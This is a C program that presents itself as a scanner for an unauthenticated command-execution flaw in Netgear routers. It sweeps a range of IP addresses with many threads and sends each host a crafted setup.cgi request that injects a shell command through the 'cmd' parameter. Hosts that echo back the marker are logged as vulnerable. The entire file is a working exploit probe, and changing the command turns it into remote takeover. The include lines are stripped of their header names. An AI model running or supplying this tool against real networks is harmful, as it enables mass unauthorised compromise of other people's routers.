/* Netgear unauthenticated command execution scanner */ #include #include #include #include #include #include #include #include #include #include #define BUFSIZE 4096 int timeout; char *log_file; unsigned long start_ip, end_ip, ips_per_thread; volatile int vuln_found, running_threads, ips_scanned; pthread_mutex_t file_mutex = PTHREAD_MUTEX_INITIALIZER; void sighandler(int sig) { fprintf(stdout, "\n"); exit(EXIT_SUCCESS); } void *dongs(void *id) { running_threads++; int thread_id = (int)id; char ipbuff[16], sendbuff[BUFSIZE], recvbuff[BUFSIZE]; unsigned long current_ip, s_ip = start_ip + ips_per_thread * thread_id, e_ip = start_ip + ips_per_thread * (thread_id + 1); int s; fd_set selset; struct timeval tv; struct sockaddr_in si_other; if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { return; } for (current_ip = s_ip; (e_ip >= end_ip && current_ip <= end_ip) || current_ip < e_ip; current_ip++) { fcntl(s, F_SETFL, fcntl(s, F_GETFL, NULL) | O_NONBLOCK); // set socket non-blocking memset(&si_other, '\0', sizeof(si_other)); si_other.sin_family = AF_INET; si_other.sin_port = htons(80); si_other.sin_addr.s_addr = htonl(current_ip); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&selset); FD_SET(s, &selset); snprintf(ipbuff, sizeof(ipbuff), "%d.%d.%d.%d", (current_ip & 0xFF000000) >> 24, (current_ip & 0x00FF0000) >> 16, (current_ip & 0x0000FF00) >> 8, current_ip & 0x000000FF); snprintf(sendbuff, sizeof(sendbuff), "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo lolimgay&curpath=/¤tsetting.htm=1 HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\n\r\n", ipbuff); connect(s, (struct sockaddr *)&si_other, sizeof(si_other)); if (select(s + 1, NULL, &selset, NULL, &tv) > 0) { int n, valopt; socklen_t len = sizeof(int); getsockopt(s, SOL_SOCKET, SO_ERROR, &valopt, &len); if (valopt == 0) { fcntl(s, F_SETFL, fcntl(s, F_GETFL, NULL) & ~O_NONBLOCK); // set socket blocking write(s, sendbuff, strlen(sendbuff)); // write the payload while ((n = read(s, recvbuff, BUFSIZE - 1)) > 0) { recvbuff[n] = '\0'; if (strstr(recvbuff, "lolimgay")) { vuln_found++; pthread_mutex_lock(&file_mutex); FILE *fp; if (fp = fopen(log_file, "a")) { fprintf(fp, "%s\n", ipbuff); fclose(fp); } pthread_mutex_unlock(&file_mutex); break; } } } } ips_scanned++; } close(s); running_threads--; } int main(int argc, char **argv) { if (argc < 6) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(EXIT_FAILURE); } signal(SIGINT, sighandler); signal(SIGPIPE, SIG_IGN); log_file = argv[3]; timeout = atoi(argv[5]); int i, threadc = atoi(argv[4]); pthread_t threads[threadc]; inet_pton(AF_INET, argv[1], &start_ip); inet_pton(AF_INET, argv[2], &end_ip); start_ip = ntohl(start_ip); end_ip = ntohl(end_ip); ips_per_thread = (end_ip - start_ip + threadc / 2) / threadc; // do not truncate unsigned long toscan = end_ip - start_ip; fprintf(stdout, "Starting Scanner...\n"); for (i = 0; i < threadc; i++) { pthread_create(&threads[i], NULL, dongs, (void *)i); } fprintf(stdout, "Found\tLeft\tThreads\n"); while (running_threads > 0) { fprintf(stdout, "\r%d\t%lu\t%d", vuln_found, toscan - ips_scanned, running_threads); fflush(stdout); sleep(1); } for (i = 0; i < threadc; i++) { // clean up thread resources pthread_join(threads[i], NULL); } pthread_mutex_destroy(&file_mutex); fprintf(stdout, "\n"); exit(EXIT_SUCCESS); }